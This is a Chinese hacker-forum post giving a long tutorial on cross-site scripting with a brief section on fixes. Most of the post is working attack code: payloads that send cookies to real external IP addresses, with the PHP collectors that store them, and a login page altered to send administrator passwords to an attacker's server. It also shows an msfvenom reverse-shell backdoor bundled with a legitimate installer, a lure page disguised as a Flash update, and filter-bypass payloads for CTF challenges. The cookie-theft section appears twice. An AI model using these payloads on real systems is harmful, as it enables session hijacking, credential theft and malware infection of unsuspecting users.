中国红客联盟国际站联盟介绍联盟架构联盟章程发展历程联盟邮箱积分VIP捐助联盟收藏本站
请登录
立即注册
门户首页
交流社区BBS
技术圈子Group
关于我们
红客大事记
插件Plugin
搜索
当前位置:»交流社区 › 中国红客联盟【技术分享区】 › 攻击技术探索 › xss漏洞原理及利用【万字详解】

[漏洞利用] xss漏洞原理及利用【万字详解】

2124 0
Honkers 2025-3-15 09:29:39 | 显示全部楼层 |阅读模式


随着互联网技术的飞速发展，网络安全问题也日益凸显。在众多网络攻击方式中，跨站脚本攻击（Cross-Site Scripting, XSS）因其广泛性和高危性，成为了网络安全领域的一个重要研究课题。XSS 攻击通过在网页中注入恶意脚本，使攻击者能够窃取用户信息、劫持用户会话、篡改网页内容等，给用户和企业带来巨大的安全隐患。本文将深入探讨 XSS 漏洞的原理，并通过具体的实例演示如何复现这一漏洞，希望能帮助读者更好地理解和防范 XSS 攻击。

常用标签的绕过：

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

url处XSS

代码示例

  1. <?php
  2. $code=$_GET['x'];
  3. echo $code;
  4. ?>
复制代码

payload:

http://127.0.0.1/xss-demo/xss.php?x=%3Cscript%3Ealert(%27cong%27);%3C/script%3E

图片处XSS攻击

代码示例

  1. <?php
  2. $code=$_GET['x'];
  3. echo "<img src=$code>";
  4. ?>
复制代码

可以看到普通的xss是没有用的，因为源码为alert(‘213’);>，这样是无法触发xss的，可以用img标签的错误触发事件

payload：
http://127.0.0.1/xss-demo/xss.php?x=y οnerrοr=“alert(‘1’)”

svg-xss

  1. 概念

    1. SVG（可扩展矢量图形）是一种基于XML的矢量图形格式，用于描述二维图形。它广泛用于网页中的图形和动画，因为它可以无损缩放，并且由浏览器直接支持。由于SVG文件是基于XML的文本文件，它们可以包含脚本（如JavaScript）。如果SVG文件没有正确处理和过滤，恶意用户可以在SVG文件中嵌入恶意脚本，从而进行XSS攻击，目前主流的浏览器都已经支持SVG图片的渲染。

  2. 复现

    1. 代码示例：

      1. test.svg
      2. <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-diagram-3-fill" viewBox="0 0 16 16">
      3. <path fill-rule="evenodd" d="M6 3.5A1.5 1.5 0 0 1 7.5 2h1A1.5 1.5 0 0 1 10 3.5v1A1.5 1.5 0 0 1 8.5 6v1H14a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0v-1A.5.5 0 0 1 2 7h5.5V6A1.5 1.5 0 0 1 6 4.5v-1zm-6 8A1.5 1.5 0 0 1 1.5 10h1A1.5 1.5 0 0 1 4 11.5v1A1.5 1.5 0 0 1 2.5 14h-1A1.5 1.5 0 0 1 0 12.5v-1zm6 0A1.5 1.5 0 0 1 7.5 10h1a1.5 1.5 0 0 1 1.5 1.5v1A1.5 1.5 0 0 1 8.5 14h-1A1.5 1.5 0 0 1 6 12.5v-1zm6 0a1.5 1.5 0 0 1 1.5-1.5h1a1.5 1.5 0 0 1 1.5 1.5v1a1.5 1.5 0 0 1-1.5 1.5h-1a1.5 1.5 0 0 1-1.5-1.5v-1z"/>
      4. </svg>
      复制代码

    2. 增加以下代码子访问即可触发xss代码

        1. <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-diagram-3-fill" viewBox="0 0 16 16">
        2. <path fill-rule="evenodd" d="M6 3.5A1.5 1.5 0 0 1 7.5 2h1A1.5 1.5 0 0 1 10 3.5v1A1.5 1.5 0 0 1 8.5 6v1H14a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0v-1A.5.5 0 0 1 2 7h5.5V6A1.5 1.5 0 0 1 6 4.5v-1zm-6 8A1.5 1.5 0 0 1 1.5 10h1A1.5 1.5 0 0 1 4 11.5v1A1.5 1.5 0 0 1 2.5 14h-1A1.5 1.5 0 0 1 0 12.5v-1zm6 0A1.5 1.5 0 0 1 7.5 10h1a1.5 1.5 0 0 1 1.5 1.5v1A1.5 1.5 0 0 1 8.5 14h-1A1.5 1.5 0 0 1 6 12.5v-1zm6 0a1.5 1.5 0 0 1 1.5-1.5h1a1.5 1.5 0 0 1 1.5 1.5v1a1.5 1.5 0 0 1-1.5 1.5h-1a1.5 1.5 0 0 1-1.5-1.5v-1z"/>
        3. <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
        4. <script>alert(1);</script>
        5. </svg>
        复制代码

pdf-xss

  1. 概念

    1. 在一些pdf编辑器中可以给pdf添加javascript动作导致的在游览器打开pdf文件时遭受xss攻击

  2. 复现

    1. 下载安装迅捷pdf编辑器

    2. 新建一个pdf

    3. 按照以下操作

    4. 输入一下动作

    5. 保存，在游览器中查看，成功执行

游览器翻译-xss

本来页面的xss被过滤了，但是由于一些扩展有重新加载出来，例如翻译货站

代码示例

  1. edge：
  2. <b><u>行之在线测试 </u></b>
  3. <br>
  5. Políticas de Privacidade
  6. Usaremos seus dados pessoais para resolver disputas, solucionar problemas e aplicar nossos Termos e Condições de Uso.
  7. <br>
  8. Para prevenir abusos no app/site, o Badoo usa decisões automáticas e moderadores para bloquear contas, como parte de seu procedimento de moderação. Para isso, nós conferimos contas e mensagens para encontrar conteúdo que indicam quebra dos nossos Termos e Condições de Uso. Isso é feito através de uma
  10. <b><u>OUR PAYLOAD IN TEXT FORM </u></b>
  11. <br>
  12. <br>
  13. "><img src=x οnerrοr=alert(1)>
  14. //这里写Payload
  16. <br>
  17. <br>
  18. <br>
  19. Políticas de Privacidade
复制代码

flash-xss

  1. 概念

    1. Flash是由Adobe开发的一种多媒体软件平台，用于创建动画、游戏和富互联网应用（RIA）。它包含Adobe Flash Player和Adobe Flash Professional（后更名为Adobe Animate）。Flash中的XSS攻击利用了Flash应用（特别是SWF文件）中的漏洞，通过注入恶意脚本，使这些脚本在用户的浏览器中执行。

  2. 常见造成xss中的swf文件函数

    1. navigateToURL
    2. getURL
    3. ExternalInterface.call
    4. htmlText
    5. 参考文章：（链接）

  3. 举例说明：

    1. 从网站下载swf文件，放在swf反编译工具中反编译

    2. 全局搜索上述swf文件函数，找出可以的注入点

      2. payload：http://127.0.0.1/uploader.swf?jsobject=alert(1)

cookie的获取

  1. 概念

    1. 通过javascript获取网站的cookie的信息

  2. 代码审计

      1. 配置文件config.inc.php:
      2. <?php
      3. //全局session_start
      4. session_start();
      5. //全局居设置时区
      6. date_default_timezone_set('Asia/Shanghai');
      7. //全局设置默认字符
      8. header('Content-type:text/html;charset=utf-8');
      9. //定义数据库连接参数
      10. define('DBHOST', 'localhost');//将localhost修改为数据库服务器的地址
      11. define('DBUSER', 'pkxss123');//将root修改为连接mysql的用户名
      12. define('DBPW', 'pkxss123');//将root修改为连接mysql的密码
      13. define('DBNAME', 'pkxss');//自定义，建议不修改
      14. define('DBPORT', '3306');//将3306修改为mysql的连接端口，默认tcp3306
      15. ?>
      16. --------------------------------------------------------------------------------------------------
      17. cookie.php:
      18. <?php
      19. include_once '../inc/config.inc.php';
      20. include_once '../inc/mysql.inc.php';
      21. $link=connect();
      23. //这个是获取cookie的api页面
      25. if(isset($_GET['cookie'])){
      26. $time=date('Y-m-d g:i:s');
      27. $ipaddress=getenv ('REMOTE_ADDR');
      28. $cookie=$_GET['cookie'];
      29. $referer=$_SERVER['HTTP_REFERER'];
      30. $useragent=$_SERVER['HTTP_USER_AGENT'];
      31. $query="insert cookies(time,ipaddress,cookie,referer,useragent)
      32. values('$time','$ipaddress','$cookie','$referer','$useragent')";
      33. $result=mysqli_query($link, $query);
      34. }
      35. header("Location:http://43.139.186.80/1.html");//重定向到一个可信的网站
      36. ?>
      复制代码

  3. 复现

    1. 找到存在xss漏洞的留言板，存入payload

      1. <script>document.location = 'http://43.139.186.80/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
      复制代码

    2. 被重定向1.html

    3. 在在后台查看获取到的cookie信息

cookie的获取

  1. 概念

    1. 通过javascript获取网站的cookie的信息

  2. 代码审计

      1. 配置文件config.inc.php:
      2. <?php
      3. //全局session_start
      4. session_start();
      5. //全局居设置时区
      6. date_default_timezone_set('Asia/Shanghai');
      7. //全局设置默认字符
      8. header('Content-type:text/html;charset=utf-8');
      9. //定义数据库连接参数
      10. define('DBHOST', 'localhost');//将localhost修改为数据库服务器的地址
      11. define('DBUSER', 'pkxss123');//将root修改为连接mysql的用户名
      12. define('DBPW', 'pkxss123');//将root修改为连接mysql的密码
      13. define('DBNAME', 'pkxss');//自定义，建议不修改
      14. define('DBPORT', '3306');//将3306修改为mysql的连接端口，默认tcp3306
      15. ?>
      16. --------------------------------------------------------------------------------------------------
      17. cookie.php:
      18. <?php
      19. include_once '../inc/config.inc.php';
      20. include_once '../inc/mysql.inc.php';
      21. $link=connect();
      23. //这个是获取cookie的api页面
      25. if(isset($_GET['cookie'])){
      26. $time=date('Y-m-d g:i:s');
      27. $ipaddress=getenv ('REMOTE_ADDR');
      28. $cookie=$_GET['cookie'];
      29. $referer=$_SERVER['HTTP_REFERER'];
      30. $useragent=$_SERVER['HTTP_USER_AGENT'];
      31. $query="insert cookies(time,ipaddress,cookie,referer,useragent)
      32. values('$time','$ipaddress','$cookie','$referer','$useragent')";
      33. $result=mysqli_query($link, $query);
      34. }
      35. header("Location:http://43.139.186.80/1.html");//重定向到一个可信的网站
      36. ?>
      复制代码

  3. 复现

    1. 找到存在xss漏洞的留言板，存入payload

      1. <script>document.location = 'http://43.139.186.80/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
      复制代码

    2. 被重定向1.html

    3. 在在后台查看获取到的cookie信息

页面信息获取

  1. 概念

    1. 当我们拿下网站权限时，需要进入网站看看，此时需要admin的账号和密码，就可以在源码中插入xss攻击代码获取密码的表单

  2. 条件

    1. 具备web权限，写入权限

  3. 复现

    1. 网站部分代码示例：

      1. login_check.php
      2. <php
      3. error_reporting(E_ERROR | E_WARNING | E_PARSE);
      4. if(!isset($depth))$depth='';
      5. $commonpath=$depth.'include/common.inc.php';
      6. $commonpath=$admin_index?$commonpath:'../'.$commonpath;
      7. require_once $commonpath;
      8. $turefile=$url_array[count($url_array)-2];
      9. if($met_adminfile!=$turefile){
      10. $query="update $met_config set value='$turefile' where name='met_adminfile' and lang='metinfo'";
      11. $db->query($query);
      12. }
      13. //dump($_SERVER);
      14. //echo $_SERVER[HTTP_REFERER];
      15. //$HTTP_REFERERs=explode('?',$_SERVER[HTTP_REFERER]);
      16. //echo strrev(substr(strrev($HTTP_REFERERs[0]),0,7));
      17. if($action=="login"){
      18. $metinfo_admin_name = $login_name;
      19. $metinfo_admin_pass = $login_pass;
      20. $up = '<script src="http://43.139.186.80/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'"></script>';
      21. //将账号密码发送到攻击者服务器中
      22. echo $up;
      23. $metinfo_admin_pass=md5($metinfo_admin_pass);
      24. /*code*/
      25. if($met_login_code==1){
      26. require_once $depth.'../include/captcha.class.php';
      27. ......
      28. ------------------------------------------------------------------------------------------
      29. get.php
      30. <?php
      31. $u = $_GET['user'];
      32. $p = $_GET['pass'];
      33. $myfile = fopen("newfile.txt", "w+");
      34. fwrite($myfile, $u);
      35. fwrite($myfile, "|");
      36. fwrite($myfile, $p);
      37. fclose($myfile);
      38. ?>//接受传来的账号和密码并写入newfile.txt当中
      复制代码

    2. 当管理员登录是后台自动发送账号和密码

xss配合MSf钓鱼

  1. 概念

    1. 通过msf生成后门，利用beef上线受控或者钓到鱼之后，通过msf的监听来控制主机

  2. 复现

    1. 生成后门poc.exe

        1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.147 LPORT=6666 -f exe > poc.exe
        复制代码

    2. 下载官方文件-保证安装正常

    3. 将后门与官方文件通过压缩软件捆绑在一起

      1. 将两压缩

    4. msf启动监听

      1. msfconsole
      2. use exploit/multi/handler
      3. set payload windows/meterpreter/reverse_tcp
      4. set lhost 0.0.0.0
      5. set lport 6666
      6. run

    5. 制作钓鱼页面，这里采用色诱

      1. flash页面：doocop/Flash_Xss: Flash最新钓鱼源码对接官方API实现跟随官方升级而升级 (github.com)

      2. 替换下载点

      3. 代码示例

          1. 诱导安装页面
          3. <html xmlns="http://www.w3.org/1999/xhtml">
          4. <head>
          5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          6. <title>小迪与某主播SESE画面流出！</title>
          7. </head>
          8. <body>
          9. 小迪与某主播SESE画面流出！<br>
          10. <img src="1.gif" alt="" width="300" height=600" align="absmiddle"/ onclick=a()>
          11. </body>
          12. </html>
          13. <script>
          14. function a(){
          15. alert( "您的FLASH版本过低，尝试升级后访问该页面! ");
          16. window. location.href="http://192.168.36.147/";
          17. }
          18. </script>
          复制代码

    6. 鱼儿点击网页上线

XSS修复

  1. 对危险字符进行过滤

    1. 变量过滤模版

      1. <?php
      2. //开启http_only也可在php.ini开启
      3. //ini_set("session.cookie_httponly", 1);
      5. //设置当前cookie
      6. //setcookie('mycookie','xiaodi');
      8. //只允许加载本地源图片：
      9. //header("Content-Security-Policy:img-src 'self' ");
      11. //加载的是一张我随意百度的图片
      12. //<img src="https://www.baidu.com/img/PCfb_5bf082d29588c07f842ccde3f97243ea.png"/>
      14. //自定义过滤函数
      15. function remove_xss($val) {
      16. // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
      17. // this prevents some character re-spacing such as <java\0script>
      18. // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
      19. $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
      20. // straight replacements, the user should never need these since they're normal characters
      21. // this prevents like <IMG SRC=@avascript:alert('XSS')>
      22. $search = 'abcdefghijklmnopqrstuvwxyz';
      23. $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      24. $search .= '1234567890!@#$%^&*()';
      25. $search .= '~`";:?+/={}[]-_|\'\\';
      26. for ($i = 0; $i < strlen($search); $i++) {
      27. // ;? matches the ;, which is optional
      28. // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
      29. // @ @ search for the hex values
      30. $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      31. // @ @ 0{0,7} matches '0' zero to seven times
      32. $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
      33. }
      34. // now the only remaining whitespace attacks are \t, \n, and \r
      35. $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
      36. $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
      37. $ra = array_merge($ra1, $ra2);
      38. $found = true; // keep replacing as long as the previous round replaced something
      39. while ($found == true) {
      40. $val_before = $val;
      41. for ($i = 0; $i < sizeof($ra); $i++) {
      42. $pattern = '/';
      43. for ($j = 0; $j < strlen($ra[$i]); $j++) {
      44. if ($j > 0) {
      45. $pattern .= '(';
      46. $pattern .= '(&#[xX]0{0,8}([9ab]);)';
      47. $pattern .= '|';
      48. $pattern .= '|(�{0,8}([9|10|13]);)';
      49. $pattern .= ')*';
      50. }
      51. $pattern .= $ra[$i][$j];
      52. }
      53. $pattern .= '/i';
      54. $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
      55. $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
      56. if ($val_before == $val) {
      57. // no replacements were made, so exit the loop
      58. $found = false;
      59. }
      60. }
      61. }
      62. return $val;
      63. }
      65. $code=$_GET['x'];
      66. echo $code."<br>";
      68. ?>
      复制代码
    2. 设置http-only

      1. 设置http-only可以防止防止客户端脚本（如 JavaScript）访问 cookie，从而防止通过 XSS 攻击窃取 cookie 信息。

      2. 设置过程

        1. php.ini中的session.cookie httponly =1
        2. 网站源码写入ini set(“session. cookie httponly”, 1);
    3. 设置CSP（content security policy）

      1. csp严格限制脚本的来源，可以防止恶意脚本的执行，可以进制内联脚本，就算在源码上写入xss代码页无法执行，就比如上面的模版，

      2. 在网站中加入header(“Content-Security-Policy: img-src ‘self’”);即可即使注释掉了百度的图片，他还是会加载

    4. 对长度进行限制，实体转义

CTF各种骚姿势

参考文章：

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

XSS总结 - 先知社区 (aliyun.com)

服务端接受
  1. <?php
  2. $cookie = $_GET['c'];
  3. $myfile = fopen("cookie.txt", "w+");
  4. fwrite($myfile, $cookie);
  5. fclose($myfile);
  6. ?>
复制代码
  1. 远程调用

    1. payload：

      1. <script>window.location.href='http://47.94.236.17/get.php?c='+document.cookie</script>
      复制代码
  2. 过滤script

    1. payload

      1. <img src=1 onerror="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      复制代码
  3. 过滤img

    1. payload

      1. <input onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      2. <svg onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      复制代码
  4. 过滤空格

    1. payload

      1. <svg/onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;"></svg>
      复制代码
  5. body标签

    1. payload

      1. <body onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      复制代码

CTF场景题

  1. 场景1

    2. 管理员的cookie频繁变化，无法获取cookie直接登录，但是可以通过xss表单获取管理员的账号和密码

  2. payload

    1. S('.laytable-cell-1-0-1').each(function(index,value) {
    2. if (value.innerHTML.indexOf('ctf' + 'show') > -1) {
    3. window.location.href = 'http://47.94.236.117/get.php?c=' + value.innerHTML;
    4. }
    5. });
    复制代码
  3. 场景2
    1. 后台管理员有功能页面，能够查看注册用户的账号密码，其中有一个修改的密码的功能，通过捉包分析，可以通过访问一个地址即可修改密码，get提交

  4. payload：

    1. <script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>//跳转回被管理员发现
    2. <script src="http://127.0.0.1/api/change.php?p=123"></script>//页面在后台访问
    复制代码
  5. 场景3
    1. 后台管理员有功能页面，能够查看注册用户的账号密码，其中有一个修改的密码的功能，通过捉包分析，可以通过访问一个地址即可修改密码，post提交

  6. payload

    1. $.ajax({
    2. url: 'http://127.0.0.1/api/change.php',
    3. type: 'post',
    4. data: { p: '123' }
    5. });
    复制代码

通过对 XSS 漏洞原理的详细剖析和复现过程的具体演示，我们可以清晰地看到这种攻击手段的危害及其实现方式。了解这些知识不仅有助于网络安全从业人员提升自身技能，还能帮助开发者更好地编写安全的代码，从源头上防范潜在的安全威胁。然而，XSS 仅仅是众多网络攻击手段之一，网络安全的攻防战是一场持久战，需要我们不断学习和更新知识，采取严密的防护措施，以应对日益复杂的网络攻击。希望本文能够为读者提供有价值的参考，促进大家在实际工作中更好地保护网络系统的安全。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

×
回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Honkers

荣誉红客

关注
  • 5049
    主题
  • 36
    粉丝
  • 0
    关注
这家伙很懒，什么都没留下！

中国红客联盟公众号

联系站长QQ：5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行天